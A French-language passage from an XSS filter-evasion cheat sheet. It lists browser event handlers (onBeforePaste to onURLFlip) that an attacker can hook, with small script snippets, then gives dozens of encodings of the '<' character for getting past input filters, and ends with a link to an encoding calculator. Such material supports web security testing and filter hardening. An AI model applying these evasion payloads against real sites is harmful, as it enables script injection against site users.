11. onBeforePaste () (lorsque l'utilisateur va coller, l'attaquant peut utiliser la fonction execCommand ("Paste") )
12. onBeforePrint () (lorsque l'utilisateur va imprimer l'attaquant pourrait utiliser  la fonction print () ou  la fonction execCommand ("Print")).
13. onbeforeunload () ( lorsque l'utilisateur à la ferme le navigateur - l'attaquant ne peut pas décharger les fenêtres sauf si elle a été engendrée par le parent)
14. onBegin () (lorsque l'échéance de l'élément arrive)
15. onblur () (lorsqu'un autre popup est chargé et la fenêtre perd le focus)
16. onBounce () (lors d'un défilement quand la propriété de comportement de l'objet  est réglé sur "alternate" et que le défillement atteint un côté de la fenêtre)
17. onCellChange () (Lors de la modification de données dans le fournisseur de données)
18. onChange () (lorsque select, text, ou un champ TEXTAREA perd le focus et sa valeur a été modifiée)
19. onClick () (quand on clique dans un formulaire)
20. oncontextmenu () ( appel du menu contextuel par clic droit sur la zone)
21. onControlSelect () (se déclenche lorsque l'utilisateur est sur le point de faire une sélection de commande de l'objet)
22. oncopy () (lorsque l'utilisateur doit copier quelque chose ou ça peut être exploité en utilisant la commande execCommand ("Copy"))
23. oncut () (l'utilisateur doit copier quelque chose ou ça peut être exploité en utilisant la commande execCommand ("Cut"))
24. OnDataAvailable () (lorsque utilisateur aurait besoin de modifier les données dans un élément, ou l'attaquant pourrait exécuter la même fonction)
25. onDataSetChanged () (lorsque l'ensemble des données d'un ensemble de données d'un objet source ont été modifiées)
26. onDataSetComplete () (lorsque  toutes les données de l'objet source sont disponibles  )
27. ondblclick () (lorsque l'utilisateur double-clique sur un élément de formulaire ou un lien)
28. OnDeactivate () (lorsque  activeElement change le focus d'un objet courant vers un autre objet dans le document parent)
29. onDrag () (lorsque  l'utilisateur fait glisser un objet)
30. onDragEnd () (lorsque l'utilisateur a fait glisser un objet)
31. OnDragLeave () (lorsque  l'utilisateur fait glisser un objet hors d'un emplacement valide)
32. OnDragEnter () (lorsque l'utilisateur fait glisser un objet dans un emplacement valide)
33. onDragOver () (lorsque  l'utilisateur fait glisser un objet sur un emplacement valide)
34. OnDragDrop () (lorsque l'utilisateur dépose un objet (fichier, par exemple) sur la fenêtre du navigateur)
35. onDrop () (lorsque l'utilisateur dépose un objet (fichier, par exemple) sur la fenêtre du navigateur)
36. onEnd () (lorsque le délai se termine.)
37. onError () (lorsque le chargement d'un document ou d'une image provoque une erreur)
38. onErrorUpdate () (sur un objet lié aux données lorsqu'une erreur se produit pendant la mise à jour des données associées à l'objet source)
39. onFilterChange () (lorsqu'un filtre visuel termine le changement d'état)
40. OnFinish () (lorsque la boucle de défilement est terminée)
41. onFocus () ( lorsque la fenêtre reçoit le focus)
42. onFocusIn () ( lorsque la fenêtre reçoit le focus)
43. onFocusOut () ( lorsque la fenêtre perd le focus)
44. OnHelp () (lorsque l'utilisateur frappe F1 alors que la fenêtre a le focus)
45. onKeyDown () (lorsque l'utilisateur appuie sur une touche)
46. OnKeyPress () (utilisateur appuie ou est titulaire d'une touche)
47. onKeyUp () (lorsque l'utilisateur relâche une touche)
48. onLayoutComplete () (lorsque l'utilisateur imprime ou fait un aperçu avant impression)
49. onLoad () (après le chargement de la fenêtre)
50. onLoseCapture () (peut être exploitée par la méthode ReleaseCapture())
51. onMediaComplete () (Lorsqu'un fichier multimédia est utilisé, cet événement peut arriver avant que le fichier commence à jouer)
52. onMediaError () (lorsque l'utilisateur ouvre une page dans le navigateur qui contient un fichier multimédia, et l'événement se déclenche quand il y a un problème)
53. onMouseDown () (lorsque  l'utilisateur clique sur une image)
54. OnMouseEnter () (lorsque le curseur se déplace sur un objet ou une zone)
55. OnMouseLeave () (lorsque l'utilisateur déplace la souris sur une image ou une table, puis repart)
56. onMouseMove () (lorsque l'utilisateur déplace la souris sur une image ou une table)
57. onMouseOut () (lorsque  l'utilisateur déplace la souris sur une image ou une table, puis repart)
58. onMouseOver () (lorsque le curseur se déplace sur un objet ou une zone)
59. onMouseUp () (lorsque l'utilisateur a cliqué sur une image)
60. onMouseWheel () (lorsque l'utilisateur a utilisé la molette de la souris)
61. OnMove () (lorsque l'utilisateur déplace la page)
62. onMoveEnd () (lorsque l'utilisateur a déplacé la page)
63. onMoveStart () (lorsque l'utilisateur déplace la page)
64. onOutOfSync () (lors de l'interruption du média en cours de lecture)
65. onpaste () (lorsque l'utilisateur coller - l'attaquant pourrait utiliser la fonction execCommand ("Paste"))
66. OnPause () (lorsque qu'un élément actif est mis en pause, y compris l'élément Body)
67. onProgress () (lorsque'une animation flash est chargée)
68. onPropertyChange () (lorsque l'utilisateur changer la propriété de l'élément)
69. onreadystatechange () (lorsque l'utilisateur change une propriété de l'élément)
70. onRepeat () (l'événement se déclenche une fois pour chaque répétition de la chronologie dans la boucle de lecture, à l'exclusion du premier cycle complet)
71. onreset () (lorsque l'utilisateur réinitialise un formulaire)
72. onResize () (lorsque l'utilisateur redimensionne la fenêtre; un attaquant pourrait l'initialiser de manière automatique avec quelque chose comme: <SCRIPT>self.resizeTo(500,400);</SCRIPT)
73. onResizeEnd () (lorsque l'utilisateur a redimensionné la fenêtre; un attaquant pourrait l'initialiser de manière automatique avec quelque chose comme: <SCRIPT>self.resizeTo(500,400);</SCRIPT)
74. onResizeStart () (lorsque l'utilisateur redimensionne la fenêtre; un attaquant pourrait l'initialiser de manière automatique avec quelque chose comme: <SCRIPT>self.resizeTo(500,400);</SCRIPT)
75. onResume () (l'événement se déclenche sur chaque élément, qui devient actif lors de la reprise de la boucle de lecture, y compris l'élément body)
76. onReverse () (si l'élément a un repeatCount supérieur à un, cet événement se déclenche à chaque fois que l'élément commence à jouer à rebours de la boucle de lecture)
77. onRowsEnter () (lorsque l'utilisateur change de  ligne dans une source de données)
78. onRowExit () (lorsque l'utilisateur change de ligne dans une source de données)
79. onRowDelete () (lorsque l'utilisateur supprime une ligne dans une source de données)
80. onRowInserted () (lorsque l'utilisateur insére une ligne dans une source de données)
81. OnScroll () (lorsque l'utilisateur fait défiler, l'attaquant pourrait utiliser la fonction scrollBy())
82. onSeek () (le cas onreverse se déclenche lorsque la boucle de lecture est appelée à jouer dans une direction autre que vers l'avant)
83. onSelect () (lorsque l'utilisateur sélectionne du texte - l'attaquant pourrait l'initialiser automatiquement avec quelque chose comme: window.document.execCommand ("SelectAll") ;)
84. OnSelectionChange () (lorsque l'utilisateur sélectionne du texte - l'attaquant pourrait l'initialiser automatiquement avec quelque chose comme: window.document.execCommand ("SelectAll") ;)
85. onselectstart () (lorsque l'utilisateur sélectionne du texte - l'attaquant pourrait l'initialiser automatiquement avec quelque chose comme: window.document.execCommand ("SelectAll") ;)
86. onStart () (au début de chaque boucle active)
87. onStop () (lorsque l'utilisateur appuie sur le bouton d'arrêt ou quitte la page web)
88. onSyncRestored () (lorsque l'utilisateur interrompt la boucle de lecture de l'élément média en cours de lecture)
89. onSubmit () (lorsque l'utilisateur soumet un formulaire)
90. onTimeError () (lorsque l'utilisateur définit une propriété du temps, comme dur, avec une valeur non valide)
91. onTrackChange () (lorsque l'utilisateur change de piste dans une liste de lecture)
92. onUnload () (lorsque  l'utilisateur clique sur un lien ou appuie sur le bouton de retour)
93. onURLFlip () (cet événement se déclenche quand un fichier Advanced Streaming Format (ASF), joué par un  tag média HTML+TIME  (Timed Interactive Multimedia Extensions),active les commandes de script qui y intégrées)
94. seekSegmentTime () (il s'agit d'une méthode qui permet de localiser le point spécifié sur la ligne de temps et de commence à jouer à ce point. Le segment se compose d'une répétition de la ligne du temps, y compris la lecture inversée en utilisant l'attribut AUTOREVERSE.)

Toutes les combinaisons possibles du caractère “<” en HTML et JavaScript (en UTF-8). La plupart de ceux-ci ne fonctionne pas hors de la boîte, mais beaucoup d'entre eux le peuvent dans certaines circonstances, comme on le voit ci-dessus.

 <
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C

Le liens suivant renvoie vers une calculatrice ayant des fonctions de transformation de base qui sont utiles pour XSS.

http://ha.ckers.org/xsscalc.html